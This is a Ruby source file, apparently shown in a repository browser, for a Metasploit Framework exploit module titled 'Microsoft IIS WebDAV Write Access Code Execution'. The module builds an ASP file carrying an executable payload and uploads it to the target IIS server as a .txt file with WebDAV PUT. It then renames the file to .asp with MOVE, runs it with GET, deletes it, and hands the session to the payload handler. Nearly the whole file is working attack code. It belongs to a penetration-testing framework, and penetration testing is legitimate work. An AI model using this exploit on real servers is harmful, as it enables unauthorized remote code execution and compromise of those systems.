root / modules / exploits / windows / iis / iis_webdav_upload_asp.rb @ 8412
History | View | Annotate | Download (3.5 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
class Metasploit3 < Msf::Exploit::Remote |
| 16 |
Rank = ExcellentRanking |
| 17 |
|
| 18 |
include Msf::Exploit::Remote::HttpClient |
| 19 |
|
| 20 |
def initialize |
| 21 |
super(
|
| 22 |
'Name' => 'Microsoft IIS WebDAV Write Access Code Execution', |
| 23 |
'Version' => '$Revision$', |
| 24 |
'Description' => %q{ |
| 25 |
This module can be used to execute a payload on IIS servers that |
| 26 |
have world-writeable directories. The payload is uploaded as an ASP |
| 27 |
script using a WebDAV PUT request. |
| 28 |
},
|
| 29 |
'Author' => 'hdm', |
| 30 |
'Platform' => 'win', |
| 31 |
'References' =>
|
| 32 |
[ |
| 33 |
['OSVDB', '397'], |
| 34 |
['BID', '12141'] |
| 35 |
], |
| 36 |
'Targets' =>
|
| 37 |
[ |
| 38 |
[ 'Automatic', { } ],
|
| 39 |
], |
| 40 |
'DefaultTarget' => 0 |
| 41 |
) |
| 42 |
|
| 43 |
register_options( |
| 44 |
[ |
| 45 |
OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp']) |
| 46 |
], self.class)
|
| 47 |
end
|
| 48 |
|
| 49 |
def exploit |
| 50 |
|
| 51 |
# Generate the ASP containing the EXE containing the payload
|
| 52 |
asp = Msf::Util::EXE.to_win32pe_asp(framework,payload.encoded) |
| 53 |
path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s) |
| 54 |
path_tmp = path.gsub(/\....$/, ".txt") |
| 55 |
|
| 56 |
#
|
| 57 |
# UPLOAD
|
| 58 |
#
|
| 59 |
print_status("Uploading #{asp.length} bytes to #{path_tmp}...")
|
| 60 |
|
| 61 |
res = send_request_cgi({
|
| 62 |
'uri' => path_tmp,
|
| 63 |
'method' => 'PUT', |
| 64 |
'ctype' => 'application/octet-stream', |
| 65 |
'data' => asp,
|
| 66 |
}, 20)
|
| 67 |
|
| 68 |
if (! res)
|
| 69 |
print_status("Upload failed on #{path_tmp} [No Response]")
|
| 70 |
return
|
| 71 |
end
|
| 72 |
|
| 73 |
if (res.code < 200 or res.code >= 300) |
| 74 |
print_status("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
|
| 75 |
case res.code
|
| 76 |
when 401 |
| 77 |
print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
| 78 |
end
|
| 79 |
return
|
| 80 |
end
|
| 81 |
|
| 82 |
#
|
| 83 |
# MOVE
|
| 84 |
#
|
| 85 |
print_status("Moving #{path_tmp} to #{path}...")
|
| 86 |
|
| 87 |
res = send_request_cgi({
|
| 88 |
'uri' => path_tmp,
|
| 89 |
'method' => 'MOVE', |
| 90 |
'headers' => {'Destination' => path} |
| 91 |
}, 20)
|
| 92 |
|
| 93 |
if (! res)
|
| 94 |
print_status("Move failed on #{path_tmp} [No Response]")
|
| 95 |
return
|
| 96 |
end
|
| 97 |
|
| 98 |
if (res.code < 200 or res.code >= 300) |
| 99 |
print_status("Move failed on #{path_tmp} [#{res.code} #{res.message}]")
|
| 100 |
case res.code
|
| 101 |
when 401 |
| 102 |
print_status("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
| 103 |
when 403 |
| 104 |
print_status("Warning: The web site may not allow 'Script Source Access', which is required to upload executable content.")
|
| 105 |
end
|
| 106 |
return
|
| 107 |
end
|
| 108 |
|
| 109 |
#
|
| 110 |
# EXECUTE
|
| 111 |
#
|
| 112 |
print_status("Executing #{path}...")
|
| 113 |
|
| 114 |
res = send_request_cgi({
|
| 115 |
'uri' => path,
|
| 116 |
'method' => 'GET' |
| 117 |
}, 20)
|
| 118 |
|
| 119 |
if (! res)
|
| 120 |
print_status("Execution failed on #{path} [No Response]")
|
| 121 |
return
|
| 122 |
end
|
| 123 |
|
| 124 |
if (res.code < 200 or res.code >= 300) |
| 125 |
print_status("Execution failed on #{path} [#{res.code} #{res.message}]")
|
| 126 |
return
|
| 127 |
end
|
| 128 |
|
| 129 |
|
| 130 |
|
| 131 |
#
|
| 132 |
# DELETE
|
| 133 |
#
|
| 134 |
print_status("Deleting #{path}, this doesn't always work...")
|
| 135 |
|
| 136 |
res = send_request_cgi({
|
| 137 |
'uri' => path,
|
| 138 |
'method' => 'DELETE' |
| 139 |
}, 20)
|
| 140 |
if (! res)
|
| 141 |
print_status("Deletion failed on #{path} [No Response]")
|
| 142 |
return
|
| 143 |
end
|
| 144 |
|
| 145 |
if (res.code < 200 or res.code >= 300) |
| 146 |
print_status("Deletion failed on #{path} [#{res.code} #{res.message}]")
|
| 147 |
return
|
| 148 |
end
|
| 149 |
|
| 150 |
handler |
| 151 |
end
|
| 152 |
|
| 153 |
end
|
| 154 |
|